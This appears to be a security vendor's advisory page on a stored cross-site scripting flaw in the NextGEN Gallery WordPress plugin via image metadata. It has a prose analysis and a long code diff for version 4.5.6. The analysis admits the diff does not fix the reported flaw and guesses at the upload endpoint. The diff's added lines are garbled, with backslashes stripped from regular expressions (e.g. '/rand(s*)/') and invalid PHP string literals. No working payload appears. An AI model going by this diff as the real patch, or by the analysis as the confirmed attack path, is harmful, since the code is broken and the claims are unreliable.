Published : November 19, 2026

CVE-2026-109387: Photo Gallery, Sliders, Proofing and Themes <= 4.5.5 Unauthenticated Stored Cross-Site Scripting via IPTC/EXIF Image Metadata PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.5.5
Patched Version 4.5.6
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-109387: The NextGEN Gallery WordPress plugin (versions up to and including 4.5.5) suffers from an unauthenticated stored cross-site scripting vulnerability in the handling of IPTC/EXIF image metadata. Specifically, the ‘2#120 (caption)’ and ‘2#005 (title)’ IPTC fields are imported without proper sanitization and later output without escaping in gallery views. This allows an attacker to inject arbitrary JavaScript that executes when an authenticated user views a gallery containing the malicious image. The vulnerability has a CVSS score of 7.2 (High) and is classified under CWE-79. The patch released in version 4.5.6 addresses a related issue of unauthenticated image relocation, but the XSS itself is not directly fixed in the provided diff, which primarily focuses on securing background migration tasks.

Paragraph 2 – Root Cause: The root cause lies in the plugin’s failure to sanitize metadata when importing images and to escape it when rendering. When an image is uploaded, the plugin extracts IPTC metadata using functions like `iptcparse()` and stores the raw values in the database without applying `sanitize_text_field()` or similar. Later, when displaying the image metadata in gallery templates, the plugin echoes these values directly into HTML without using `esc_html()` or `esc_attr()`. The provided diff does not show the specific vulnerable code path, but the vulnerability exists in the image import and display components. The patch in 4.5.6 primarily addresses a separate security concern (originals relocation) and does not appear to directly fix the XSS, suggesting the fix may be incomplete or the diff is truncated.

Paragraph 3 – Exploitation: An attacker crafts an image file (e.g., JPEG) with malicious JavaScript embedded in the IPTC caption or title fields. The attacker then uploads this image through the plugin’s standard upload interface, which may be accessible to unauthenticated users via the `ngg_upload_image` action or a similar endpoint. The plugin processes the image, extracts the metadata, and stores it in the database. When an authenticated user (e.g., gallery administrator or visitor) views the gallery, the malicious script executes in their browser. The attack requires the victim to view the affected gallery, but no authentication is needed for the attacker if the upload form is publicly accessible.

Paragraph 4 – Patch Analysis: The provided diff does not contain a direct fix for the XSS vulnerability. Instead, it adds a migration routine to move original image files out of publicly accessible directories (addressing issue #1107) and implements locking mechanisms to prevent race conditions. The version number is bumped to 4.5.6, but the core XSS flaw related to IPTC/EXIF metadata remains unaddressed in this diff. The absence of sanitization or escaping functions in the diff indicates that the XSS fix may be in another part of the codebase or the patch is incomplete.

Paragraph 5 – Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated user’s browser. This can lead to session hijacking, theft of authentication cookies, privilege escalation (if an admin views the gallery), defacement, or redirection to malicious sites. Because the payload is stored, it persists until the malicious image is removed, affecting all users who view the gallery. The unauthenticated nature of the upload vector increases the severity, as attackers do not need any credentials to inject the payload.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/nextgen-gallery/adminApp/build/dependencies.php
+++ b/nextgen-gallery/adminApp/build/dependencies.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'ad4256b18a3b25e204c0');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'ae8f8ee581435e0ff830');
--- a/nextgen-gallery/nggallery.php
+++ b/nextgen-gallery/nggallery.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: NextGEN Gallery
  * Description: The most popular gallery plugin for WordPress and one of the most popular plugins of all time with over 30 million downloads.
- * Version: 4.5.5
+ * Version: 4.5.6
  * Author: Imagely
  * Plugin URI: https://www.imagely.com/wordpress-gallery-plugin/nextgen-gallery/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=pluginuri
  * Author URI: https://www.imagely.com/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=authoruri
@@ -28,6 +28,8 @@
 use ImagelyNGGAdminApp;
 use ImagelyNGGMigrationsAddGalleryDates;
 use ImagelyNGGMigrationsNormalizeDisplayTypeSettings;
+use ImagelyNGGMigrationsRelocateImageBackups;
+use ImagelyNGGUtilSecurity;

 /**
  * Clean Exit Exception for graceful shutdown.
@@ -274,6 +276,15 @@
 				( new MenuNudge() )->hooks();
 				( new Ecommerce_Preview() )->hooks();
 				AddGalleryDates::migrate( false );
+				// Moves the originals written before #1107 out of the web-served gallery
+				// directories. Batched, so it runs over several admin requests.
+				//
+				// Gated rather than hung straight off admin_init: is_admin() is true for
+				// admin-ajax.php and admin-post.php, and core fires admin_init in both of them
+				// before any auth-cookie check, so a bare registration lets an unauthenticated
+				// request drive a batch of rename()/glob()/.htaccess work. nextgen-gallery#934 is
+				// the site-down incident that shape caused once already.
+				add_action( 'admin_init', [ $this, 'maybe_relocate_image_backups' ] );
 				// Deferred to admin_init: the normalization needs every display-type controller
 				// registered (Pro registers its own on ngg_initialized, which fires below), so it
 				// cannot run inline here or it would skip all Pro display types.
@@ -290,6 +301,134 @@
 	}

 	/**
+	 * Runs one batch of the #1107 originals relocation, if this request may do so.
+	 *
+	 * @return void
+	 */
+	public function maybe_relocate_image_backups() {
+		// Never on an AJAX request: admin-ajax.php reaches admin_init before WordPress has decided
+		// who the caller is, and its nopriv actions are reachable with no account at all.
+		// admin-post.php fires admin_init too and is not excluded here - the capability check
+		// below is what covers it, and unlike admin-ajax.php it has no unauthenticated surface
+		// that should be doing this work.
+		if ( wp_doing_ajax() || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) {
+			return;
+		}
+
+		// A real, logged-in administrator loading a real admin page. The capability is the one
+		// NextGEN already uses for library-wide management.
+		if ( ! is_user_logged_in()
+			|| ! ( Security::is_allowed( 'NextGEN Manage gallery' ) || current_user_can( 'manage_options' ) ) ) {
+			return;
+		}
+
+		// One batch at a time. Without this, several admin tabs open at once each walk the same
+		// cursor position and race each other's rename() calls over the same files - and since a
+		// failed move now cleans up after itself, that race can delete a master another request
+		// has just moved.
+		//
+		// get_transient() then set_transient() did not actually prevent it: both requests read no
+		// lock and both proceeded. The lock is taken atomically instead, the same way
+		// Installer::can_do_upgrade() does it.
+		if ( ! $this->take_relocation_lock() ) {
+			return;
+		}
+
+		try {
+			RelocateImageBackups::migrate( false );
+		} finally {
+			$this->release_relocation_lock();
+		}
+	}
+
+	/**
+	 * Takes the originals-relocation lock, atomically.
+	 *
+	 * A bare INSERT is the mechanism: core's add_option()/update_option() end in
+	 * INSERT ... ON DUPLICATE KEY UPDATE, which upserts and reports success to every caller, so
+	 * they cannot hand a lock to exactly one request. MySQL rejecting the second INSERT on the
+	 * option_name unique key is what does that. Mirrors Installer::_insert_upgrade_lock().
+	 *
+	 * @return bool Whether this request now holds the lock.
+	 */
+	private function take_relocation_lock() {
+		global $wpdb;
+
+		if ( $this->insert_relocation_lock() ) {
+			return true;
+		}
+
+		// Someone else holds it. Reclaim only a lock left behind by a run that died, and decide
+		// staleness inside the DELETE so two requests cannot both read it as stale before either
+		// writes. Only the request whose DELETE removes the row gets to retry.
+		//
+		// $wpdb->prepare() has no placeholder for table identifiers; {$wpdb->options} is core's
+		// own property, never user input.
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		$reclaimed = $wpdb->query(
+			$wpdb->prepare(
+				"DELETE FROM {$wpdb->options}
+				WHERE option_name = 'ngg_originals_relocation_lock'
+					AND option_value REGEXP '^[0-9]+$'
+					AND CAST( option_value AS UNSIGNED ) < %d",
+				time() - ( 5 * MINUTE_IN_SECONDS )
+			)
+		);
+		// phpcs:enable
+
+		if ( ! $reclaimed ) {
+			return false;
+		}
+
+		wp_cache_delete( 'ngg_originals_relocation_lock', 'options' );
+		wp_cache_delete( 'alloptions', 'options' );
+
+		return $this->insert_relocation_lock();
+	}
+
+	/**
+	 * The raw INSERT behind take_relocation_lock().
+	 *
+	 * @return bool
+	 */
+	private function insert_relocation_lock() {
+		global $wpdb;
+
+		// Errors are suppressed because a duplicate-key hit is the expected "someone else holds
+		// it" outcome, not a problem to log. A different failure simply means no lock was taken,
+		// and the batch is skipped this request rather than run unguarded.
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		$suppress = $wpdb->suppress_errors( true );
+		$inserted = $wpdb->query(
+			$wpdb->prepare(
+				"INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES ( 'ngg_originals_relocation_lock', %s, 'no' )",
+				time()
+			)
+		);
+		$wpdb->suppress_errors( $suppress );
+		// phpcs:enable
+
+		if ( false === $inserted ) {
+			return false;
+		}
+
+		// The raw INSERT bypassed add_option()'s cache writes.
+		wp_cache_delete( 'ngg_originals_relocation_lock', 'options' );
+		wp_cache_delete( 'notoptions', 'options' );
+
+		return true;
+	}
+
+	/**
+	 * Releases the originals-relocation lock.
+	 *
+	 * @return void
+	 */
+	private function release_relocation_lock() {
+		delete_option( 'ngg_originals_relocation_lock' );
+	}
+
+	/**
 	 * Shutdown handler for exceptions.
 	 *
 	 * This class will be removed if there's no complaints made after defaulting to the NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER constant.
@@ -913,6 +1052,10 @@
 			add_filter( 'cron_schedules', [ $this, 'add_ngg_schedule' ] );
 			add_action( 'ngg_delete_expired_transients', [ $this, 'delete_expired_transients' ] );
 			add_action( 'wp', [ $this, 'schedule_cron_jobs' ] );
+			// The relocation cannot depend on somebody opening wp-admin: an auto-updating site or
+			// a multisite subsite whose admins never log in would keep every existing original
+			// publicly downloadable indefinitely (#1107).
+			add_action( 'ngg_relocate_image_backups', [ $this, 'cron_relocate_image_backups' ] );
 		}

 		// Start the plugin!
@@ -928,6 +1071,7 @@

 		add_action( 'admin_init', [ 'ImagelyNGGAdminRequirementsManager', 'register_requirements' ], -20 );
 		add_action( 'all_admin_notices', [ $this, 'render_jquery_wp_55_warning' ] );
+		add_action( 'all_admin_notices', [ $this, 'render_originals_relocation_warning' ] );

 		// Necessary hack for the datamapper to order query results.
 		add_filter( 'posts_orderby', [ 'ImagelyNGGDataStorageManager', 'wp_query_order_by' ], 10, 2 );
@@ -1139,6 +1283,74 @@
 		if ( ! wp_next_scheduled( 'ngg_delete_expired_transients' ) ) {
 			wp_schedule_event( time(), 'ngg_custom', 'ngg_delete_expired_transients' );
 		}
+
+		// Only while there is still something to move. Installer::update() clears the done flag on
+		// every version change, so this re-arms itself after an upgrade and stops again once the
+		// relocation reports finished.
+		if ( ! get_option( 'ngg_originals_relocated' ) && ! wp_next_scheduled( 'ngg_relocate_image_backups' ) ) {
+			wp_schedule_event( time() + MINUTE_IN_SECONDS, 'ngg_custom', 'ngg_relocate_image_backups' );
+		}
+	}
+
+	/**
+	 * Runs one batch of the #1107 originals relocation from WP-Cron.
+	 *
+	 * Deliberately the same locked batch the admin hook runs, not a bigger one: #934 is the
+	 * site-down incident an unbounded migration caused, so cron gets no more work per invocation
+	 * than a page load does, and the atomic lock keeps a cron run and an admin page load from
+	 * overlapping.
+	 *
+	 * @return void
+	 */
+	public function cron_relocate_image_backups() {
+		if ( get_option( 'ngg_originals_relocated' ) ) {
+			wp_clear_scheduled_hook( 'ngg_relocate_image_backups' );
+			return;
+		}
+
+		if ( ! $this->take_relocation_lock() ) {
+			return;
+		}
+
+		try {
+			if ( RelocateImageBackups::migrate( false ) ) {
+				wp_clear_scheduled_hook( 'ngg_relocate_image_backups' );
+			}
+		} finally {
+			$this->release_relocation_lock();
+		}
+	}
+
+	/**
+	 * Warns administrators that some image originals could not be moved out of the web root.
+	 *
+	 * The ngg_originals_relocation_incomplete option is written when the relocation gives up on a
+	 * gallery.
+	 * Without this nothing reads it: the only other trace is a log line, which no site owner sees,
+	 * and the masters involved stay at the URL #1107 is about.
+	 *
+	 * @return void
+	 */
+	public function render_originals_relocation_warning() {
+		$incomplete = (array) get_option( 'ngg_originals_relocation_incomplete', [] );
+
+		if ( empty( $incomplete ) ) {
+			return;
+		}
+
+		if ( ! Security::is_allowed( 'NextGEN Manage gallery' ) && ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		printf(
+			'<div class="notice notice-error"><p><strong>%s</strong><br />%s</p></div>',
+			esc_html__( 'NextGEN Gallery: some original images are still publicly downloadable.', 'nggallery' ),
+			sprintf(
+				/* translators: %s: comma-separated list of gallery IDs. */
+				esc_html__( 'The full-size originals for gallery ID(s) %s could not be moved out of the publicly served gallery folder, so they can still be downloaded by anyone who can view the gallery. This is usually a file-permission problem on the uploads directory. Fix the permissions and reload any admin page to retry.', 'nggallery' ),
+				esc_html( implode( ', ', array_map( 'intval', $incomplete ) ) )
+			)
+		);
 	}

 	/**
@@ -1307,7 +1519,7 @@
 		define( 'NGG_PRODUCT_DIR', implode( DIRECTORY_SEPARATOR, [ rtrim( NGG_PLUGIN_DIR, '/\' ), 'products' ] ) );
 		define( 'NGG_MODULE_DIR', implode( DIRECTORY_SEPARATOR, [ rtrim( NGG_PRODUCT_DIR, '/\' ), 'photocrati_nextgen', 'modules' ] ) );
 		define( 'NGG_PLUGIN_STARTED_AT', microtime() );
-		define( 'NGG_PLUGIN_VERSION', '4.5.5' );
+		define( 'NGG_PLUGIN_VERSION', '4.5.6' );

 		$random_version = function_exists( 'wp_rand' ) ? wp_rand( 0, mt_getrandmax() ) : mt_rand( 0, mt_getrandmax() ); // phpcs:ignore WordPress.WP.AlternativeFunctions.rand_mt_rand
 		define( 'NGG_SCRIPT_VERSION', defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? (string) $random_version : NGG_PLUGIN_VERSION );
--- a/nextgen-gallery/products/photocrati_nextgen/modules/ajax/package.module.ajax.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/ajax/package.module.ajax.php
@@ -11,7 +11,7 @@
      *
      * @var array
      */
-    public static $_instances = array();
+    public static $_instances = [];
     /**
      * Returns an instance of this class
      *
@@ -43,7 +43,7 @@
      *
      * @var string[]
      */
-    const RESERVED_ACTIONS = array('index');
+    const RESERVED_ACTIONS = ['index'];
     /**
      * Returns the action names this endpoint is allowed to dispatch to.
      *
@@ -62,8 +62,7 @@
          * Registering a name here only makes it reachable -- it grants nothing. Each
          * action is still responsible for its own nonce and capability checks, and an
          * action that omits them is reachable unauthenticated, because this endpoint
-         * answers on 'init'. (Of the defaults below, get_watermark_preview_url checks
-         * the capability but not a nonce; see the follow-up on issue #1087.)
+         * answers on 'init'.
          *
          * @param string[] $actions Registered action names, without the '_action' suffix.
          */
--- a/nextgen-gallery/products/photocrati_nextgen/modules/datamapper/package.module.datamapper.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/datamapper/package.module.datamapper.php
@@ -4,7 +4,7 @@
  */
 class A_DataMapper_Factory extends Mixin
 {
-    public function datamapper_model($mapper, $properties = array(), $context = false)
+    public function datamapper_model($mapper, $properties = [], $context = false)
     {
         return new C_DataMapper_Model($mapper, $properties = [], $context);
     }
@@ -43,19 +43,19 @@
      *
      * @var array
      */
-    public $_columns = array();
+    public $_columns = [];
     /**
      * Table columns cache.
      *
      * @var array
      */
-    public $_table_columns = array();
+    public $_table_columns = [];
     /**
      * Serialized columns list.
      *
      * @var array
      */
-    public $_serialized_columns = array();
+    public $_serialized_columns = [];
     public function define($object_name = false, $context = false)
     {
         parent::define($context);
@@ -233,7 +233,7 @@
      * @param object|bool $model (optional)
      * @return null|object
      */
-    public function find_first($conditions = array(), $model = false)
+    public function find_first($conditions = [], $model = false)
     {
         $results = $this->object->select()->where_and($conditions)->limit(1, 0)->run_query();
         if ($results) {
@@ -249,7 +249,7 @@
      * @param object|bool $model (optional)
      * @return array
      */
-    public function find_all($conditions = array(), $model = false)
+    public function find_all($conditions = [], $model = false)
     {
         // Sometimes users will forget that the first parameter is conditions, and think it's $model instead.
         if ($conditions === true) {
@@ -279,7 +279,7 @@
      * @param array $conditions (optional)
      * @return self
      */
-    public function where_and($conditions = array())
+    public function where_and($conditions = [])
     {
         return $this->object->_where($conditions, 'AND');
     }
@@ -289,7 +289,7 @@
      * @param array $conditions (optional)
      * @return self
      */
-    public function where_or($conditions = array())
+    public function where_or($conditions = [])
     {
         return $this->object->where($conditions, 'OR');
     }
@@ -299,7 +299,7 @@
      * @param array $conditions (optional)
      * @return self
      */
-    public function where($conditions = array())
+    public function where($conditions = [])
     {
         return $this->object->_where($conditions, 'AND');
     }
@@ -398,7 +398,7 @@
             $condition = $wpdb->prepare($condition, $binds);
         }
         // Parse the where clause.
-        if (preg_match('/^[^\s]+/', $condition, $match)) {
+        if (preg_match('/^[^s]+/', $condition, $match)) {
             $column = trim(array_shift($match));
             $condition = str_replace($column, '', $condition);
         }
@@ -441,11 +441,11 @@
          * of what objects we've already processed when we're running this method recursively
          */
         static $level = 0;
-        static $processed_objects = array();
+        static $processed_objects = [];
         ++$level;
         $processed_objects[] = $stdObject_or_array_or_string;
         if (is_string($stdObject_or_array_or_string)) {
-            $stdObject_or_array_or_string = str_replace("\'", "'", str_replace('\"', '"', str_replace('\\', '\', $stdObject_or_array_or_string)));
+            $stdObject_or_array_or_string = str_replace("\'", "'", str_replace('"', '"', str_replace('\\', '\', $stdObject_or_array_or_string)));
             // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
         } elseif (is_object($stdObject_or_array_or_string) && !in_array($stdObject_or_array_or_string, $processed_objects)) {
             foreach (get_object_vars($stdObject_or_array_or_string) as $key => $val) {
@@ -698,19 +698,19 @@
      *
      * @var wpdb
      */
-    public $_where_clauses = array();
+    public $_where_clauses = [];
     /**
      * Order clauses.
      *
      * @var array
      */
-    public $_order_clauses = array();
+    public $_order_clauses = [];
     /**
      * Group by columns.
      *
      * @var array
      */
-    public $_group_by_columns = array();
+    public $_group_by_columns = [];
     /**
      * Limit clause.
      *
@@ -812,7 +812,7 @@
     public function order_by($order_by, $direction = 'ASC')
     {
         // We treat the rand() function as an exception.
-        if (preg_match('/rand\(\s*\)/', $order_by)) {
+        if (preg_match('/rand(s*)/', $order_by)) {
             $order = 'rand()';
         } else {
             $order_by = $this->object->_clean_column($order_by);
@@ -851,7 +851,7 @@
      * @param array|string $columns
      * @return object
      */
-    public function group_by($columns = array())
+    public function group_by($columns = [])
     {
         if (!is_array($columns)) {
             $columns = [$columns];
@@ -996,7 +996,7 @@
      * @param array $conditions
      * @return object
      */
-    public function find_last($conditions = array(), $model = false)
+    public function find_last($conditions = [], $model = false)
     {
         $retval = null;
         // Get row number for the last row.
@@ -1243,7 +1243,7 @@
      *
      * @var array
      */
-    public $_query_args = array();
+    public $_query_args = [];
     /**
      * Primary key column name.
      *
@@ -1267,7 +1267,7 @@
      *
      * @var array
      */
-    public static $_post_table_columns = array();
+    public static $_post_table_columns = [];
     public function define($object_name = false, $context = false)
     {
         if (strlen($object_name) > 20) {
@@ -1320,7 +1320,7 @@
     public function order_by($order_by, $direction = 'ASC')
     {
         // Make an exception for the rand() method.
-        $order_by = preg_replace('/rand\(\s*\)/', 'rand', $order_by);
+        $order_by = preg_replace('/rand(s*)/', 'rand', $order_by);
         // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
         if (in_array($order_by, $this->object->_get_querable_table_columns())) {
             $this->object->_query_args['orderby'] = $order_by;
@@ -1358,7 +1358,7 @@
      * @param array|string $columns
      * @return object
      */
-    public function group_by($columns = array())
+    public function group_by($columns = [])
     {
         if (!isset($this->object->_query_args['group_by_columns'])) {
             $this->object->_query_args['group_by_columns'] = $columns;
@@ -1575,7 +1575,7 @@
      *
      * @param int $post_id
      */
-    public function _flush_and_update_postmeta($post_id, $entity, $omit = array())
+    public function _flush_and_update_postmeta($post_id, $entity, $omit = [])
     {
         // We need to insert post meta data for each property
         // Unfortunately, that means flushing all existing postmeta
@@ -1703,7 +1703,7 @@
      * @param object|bool $model (optional)
      * @return object
      */
-    public function find_last($conditions = array(), $model = false)
+    public function find_last($conditions = [], $model = false)
     {
         $retval = null;
         // Get row number for the last row.
@@ -1821,7 +1821,7 @@
      * @param string|bool  $context (optional)
      * @return C_DataMapper_Model
      */
-    public function create($properties = array(), $context = false)
+    public function create($properties = [], $context = false)
     {
         $entity = $properties;
         $factory = C_Component_Factory::get_instance();
@@ -1930,7 +1930,7 @@
     /**
      * Define the model
      */
-    public function define($mapper = null, $properties = array(), $context = false)
+    public function define($mapper = null, $properties = [], $context = false)
     {
         parent::define($context);
         $this->add_mixin('Mixin_Validation');
@@ -2012,7 +2012,7 @@
      * @param array $updated_attributes
      * @return int|bool Object ID or false upon failure
      */
-    public function save($updated_attributes = array())
+    public function save($updated_attributes = [])
     {
         $this->update_attributes($updated_attributes);
         return $this->get_mapper()->save($this->get_entity());
@@ -2022,7 +2022,7 @@
      *
      * @param array $attributes (optional)
      */
-    public function update_attributes($attributes = array())
+    public function update_attributes($attributes = [])
     {
         foreach ($attributes as $key => $value) {
             $this->_stdObject->{$key} = $value;
--- a/nextgen-gallery/products/photocrati_nextgen/modules/displaytype_admin/package.module.displaytype_admin.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/displaytype_admin/package.module.displaytype_admin.php
@@ -144,7 +144,7 @@
      * @param bool   $in_footer
      * @param string $version
      */
-    public function enqueue_script($handle, $source = '', $dependencies = array(), $in_footer = false, $version = NGG_SCRIPT_VERSION)
+    public function enqueue_script($handle, $source = '', $dependencies = [], $in_footer = false, $version = NGG_SCRIPT_VERSION)
     {
         wp_enqueue_script($handle, $source, $dependencies, $version, $in_footer);
     }
@@ -159,7 +159,7 @@
      * @param string $media
      * @param string $version
      */
-    public function enqueue_style($handle, $source = '', $dependencies = array(), $media = 'all', $version = NGG_SCRIPT_VERSION)
+    public function enqueue_style($handle, $source = '', $dependencies = [], $media = 'all', $version = NGG_SCRIPT_VERSION)
     {
         wp_enqueue_style($handle, $source, $dependencies, $version, $media);
     }
@@ -201,7 +201,7 @@
      * @param array $attributes
      * @return boolean
      */
-    public function save_action($attributes = array())
+    public function save_action($attributes = [])
     {
         $model = $this->object->get_model();
         if ($model) {
@@ -296,7 +296,7 @@
             }
             /* Scan for template files and create array */
             $files = scandir($dir);
-            $template_files = preg_grep('/^.+\-(template|view).php$/i', $files);
+            $template_files = preg_grep('/^.+-(template|view).php$/i', $files);
             $template_files = $template_files ? array_combine($template_files, $template_files) : [];
             /* For custom templates only, append directory name placeholder */
             foreach ($template_files as $key => $value) {
--- a/nextgen-gallery/products/photocrati_nextgen/modules/legacy_compat/package.module.legacy_compat.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/legacy_compat/package.module.legacy_compat.php
@@ -4,11 +4,11 @@
  */
 class A_Gallery_Display_Factory extends Mixin
 {
-    public function displayed_gallery($properties = array(), $mapper = false, $context = false)
+    public function displayed_gallery($properties = [], $mapper = false, $context = false)
     {
         return new C_Displayed_Gallery($properties, $mapper, $context);
     }
-    public function display_type($properties = array(), $mapper = false, $context = false)
+    public function display_type($properties = [], $mapper = false, $context = false)
     {
         return new C_Display_Type($properties, $mapper, $context);
     }
@@ -40,8 +40,8 @@
      *
      * @var array
      */
-    public $__settings = array();
-    public function define($properties = array(), $mapper = false, $context = false)
+    public $__settings = [];
+    public function define($properties = [], $mapper = false, $context = false)
     {
         parent::define($mapper, $properties, $context);
         $this->add_mixin('Mixin_Display_Type_Instance_Methods');
@@ -54,7 +54,7 @@
      * @param FALSE|C_Display_Type_Mapper   $mapper
      * @param FALSE|string|array            $context
      */
-    public function initialize($properties = array(), $mapper = false, $context = false)
+    public function initialize($properties = [], $mapper = false, $context = false)
     {
         // If no mapper was specified, then get the mapper.
         if (!$mapper) {
@@ -143,7 +143,7 @@
      *
      * @var array
      */
-    protected static $_instances = array();
+    protected static $_instances = [];
     /**
      * Parent controller wrapper.
      *
@@ -254,7 +254,7 @@
     {
         return $this->object->parent_controller_wrapper->get_entity_statistics($entities, $named_size, $style_images);
     }
-    public function create_view($template, $params = array(), $context = null)
+    public function create_view($template, $params = [], $context = null)
     {
         if (isset($params['displayed_gallery'])) {
             if (isset($params['displayed_gallery']->display_settings)) {
@@ -284,7 +284,7 @@
     {
         return $this->object->parent_controller_wrapper->get_alternative_displayed_gallery($displayed_gallery);
     }
-    public function prepare_legacy_parameters($images, $displayed_gallery, $params = array())
+    public function prepare_legacy_parameters($images, $displayed_gallery, $params = [])
     {
         return $this->object->parent_controller_wrapper->prepare_legacy_parameters($images, $displayed_gallery, $params);
     }
@@ -303,7 +303,7 @@
      *
      * @var array
      */
-    public static $_instances = array();
+    public static $_instances = [];
     public function define($context = false, $not_used = false)
     {
         $object_name = 'display_type';
@@ -466,7 +466,7 @@
      *
      * @var array
      */
-    protected static $_random_image_ids_cache = array();
+    protected static $_random_image_ids_cache = [];
     /**
      * Defines the displayed gallery.
      *
@@ -475,7 +475,7 @@
      * @param false|string|array                 $context   Optional context.
      * @return void
      */
-    public function define($properties = array(), $mapper = false, $context = false)
+    public function define($properties = [], $mapper = false, $context = false)
     {
         parent::define($mapper, $properties, $context);
         $this->add_mixin('Mixin_Displayed_Gallery_Instance_Methods');
@@ -489,7 +489,7 @@
      * @param false|string|array                 $context   Optional context.
      * @return void
      */
-    public function initialize($properties = array(), $mapper = false, $context = false)
+    public function initialize($properties = [], $mapper = false, $context = false)
     {
         if (!$mapper) {
             $mapper = $this->get_registry()->get_utility($this->_mapper_interface);
@@ -920,7 +920,7 @@
      * @param int   $offset
      * @return array
      */
-    public function _entities_to_galleries_and_albums($entity_ids, $id_only = false, $exclusions = array(), $limit = false, $offset = false)
+    public function _entities_to_galleries_and_albums($entity_ids, $id_only = false, $exclusions = [], $limit = false, $offset = false)
     {
         $retval = [];
         $gallery_ids = [];
@@ -1400,7 +1400,7 @@
      *
      * @var array
      */
-    public static $_instances = array();
+    public static $_instances = [];
     public function define($context = false, $not_used = false)
     {
         parent::define('displayed_gallery', [$context, 'displayed_gallery', 'display_gallery']);
@@ -1487,13 +1487,13 @@
      *
      * @var array
      */
-    private $_sources = array();
+    private $_sources = [];
     /**
      * Registered entity types.
      *
      * @var array
      */
-    private $_entity_types = array();
+    private $_entity_types = [];
     /**
      * Whether defaults have been registered.
      *
@@ -1852,13 +1852,13 @@
      *
      * @var array
      */
-    public static $_instances = array();
+    public static $_instances = [];
     /**
      * Gallery absolute path cache.
      *
      * @var array
      */
-    public static $gallery_abspath_cache = array();
+    public static $gallery_abspath_cache = [];
     /**
      * Image mapper instance.
      *
@@ -1897,7 +1897,7 @@
      */
     public function __call($method, $args)
     {
-        if (preg_match('/^get_(\w+)_(abspath|url|dimensions|html|size_params)$/', $method, $match)) {
+        if (preg_match('/^get_(w+)_(abspath|url|dimensions|html|size_params)$/', $method, $match)) {
             if (isset($match[1]) && isset($match[2]) && !$this->has_method($method)) {
                 $method = 'get_image_' . $match[2];
                 $args[] = $match[1];
@@ -2053,7 +2053,7 @@
         $dirname = preg_replace("#\x{00a0}#siu", ' ', $dirname);
         $dirname = str_replace($special_chars, '', $dirname);
         $dirname = str_replace(['%20', '+'], '-', $dirname);
-        $dirname = preg_replace('/[\r\n\t -]+/', '-', $dirname);
+        $dirname = preg_replace('/[rnt -]+/', '-', $dirname);
         $dirname = trim($dirname, '.-_');
         return $dirname;
     }
@@ -2091,7 +2091,7 @@
      * @param array  $params
      * @return null|object
      */
-    public function generate_image_clone($image_path, $clone_path, $params)
+    public function generate_image_clone($image_path, $clone_path, $params, $image = null)
     {
         $crop = isset($params['crop']) ? $params['crop'] : null;
         $watermark = isset($params['watermark']) ? $params['watermark'] : null;
@@ -2206,7 +2206,8 @@
                     $watermark_setting_keys = ['wmFont', 'wmType', 'wmPos', 'wmXpos', 'wmYpos', 'wmPath', 'wmText', 'wmOpaque', 'wmFont', 'wmSize', 'wmColor'];
                     foreach ($watermark_setting_keys as $watermark_key) {
                         if (!isset($params[$watermark_key])) {
-                            $params[$watermark_key] = $settings[$watermark_key];
+                            // A key the settings row never stored reads as null, as it always did, without the PHP 8 warning.
+                            $params[$watermark_key] = $settings[$watermark_key] ?? null;
                         }
                     }
                     // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
@@ -2217,13 +2218,22 @@
                     }
                 }
                 $watermark = strval($watermark);
+                $watermarked = null;
                 if ('image' === $watermark) {
                     $thumbnail->watermarkImgPath = $params['wmPath'];
-                    $thumbnail->watermarkImage($params['wmPos'], $params['wmXpos'], $params['wmYpos']);
+                    $watermarked = $thumbnail->watermarkImage($params['wmPos'], $params['wmXpos'], $params['wmYpos']);
                 } elseif ('text' === $watermark) {
                     $thumbnail->watermarkText = $params['wmText'];
                     $thumbnail->watermarkCreateText($params['wmColor'], $params['wmFont'], $params['wmSize'], $params['wmOpaque']);
-                    $thumbnail->watermarkImage($params['wmPos'], $params['wmXpos'], $params['wmYpos']);
+                    $watermarked = $thumbnail->watermarkImage($params['wmPos'], $params['wmXpos'], $params['wmYpos']);
+                }
+                // A caller that exists to watermark (Set Watermark, #1104) must not get a
+                // "success" for an image saved without one: a refused, unreachable or
+                // non-PNG watermark (#1084) stops here, before anything is written. Other
+                // callers (front-end sizes) keep rendering the image unwatermarked.
+                if (false === $watermarked && !empty($params['watermark_required'])) {
+                    $thumbnail->destruct();
+                    return null;
                 }
                 // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
                 if ($rotation && in_array(abs($rotation), [90, 180, 270])) {
@@ -2246,10 +2256,14 @@
                     $thumbnail->format = strtoupper($format_list[$clone_format]);
                 }
